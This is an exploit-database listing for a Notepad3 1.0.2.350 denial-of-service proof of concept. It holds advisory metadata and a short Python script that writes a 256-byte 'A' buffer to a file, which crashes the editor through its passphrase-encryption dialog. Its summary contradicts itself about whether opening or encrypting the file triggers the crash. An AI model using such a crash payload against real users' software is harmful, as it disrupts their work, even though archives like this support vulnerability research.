header-logo
Suggest Exploit
vendor:
Notepad3
by:
Ihsan Sencan
7.5
CVSS
HIGH
Denial of Service
119
CWE
Product Name: Notepad3
Affected Version From: 1.0.2.350
Affected Version To: 1.0.2.350
Patch Exists: NO
Related CWE: N/A
CPE: a:rizonesoft:notepad3:1.0.2.350
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2018

Notepad3 1.0.2.350 – Denial of Service (PoC)

Notepad3 is vulnerable to a denial of service attack when a maliciously crafted file is opened. When the user attempts to open the file, Notepad3 will crash due to a buffer overflow. The exploit is triggered when the user attempts to encrypt the file using a passphrase. The malicious file contains a 256 byte buffer of 'A' characters, which causes the application to crash.

Mitigation:

Users should avoid opening files from untrusted sources and should ensure that all software is up to date.
Source

Exploit-DB raw data:

# Exploit Title: Notepad3 1.0.2.350 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.rizonesoft.com/
# Software Link: https://netix.dl.sourceforge.net/project/notepad3/Notepad3%20Build%20350/Notepad3-1.0.2.350.exe
# Software Link: https://datapacket.dl.sourceforge.net/project/notepad3/Notepad3%20Build%20350/Notepad3-1.0.2.350_x86.zip
# Version: 1.0.2.350
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# File / Set Encryption Passphrase / Encrypt using Passphrase

#!/usr/bin/python
    
buffer = "A" * 256
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."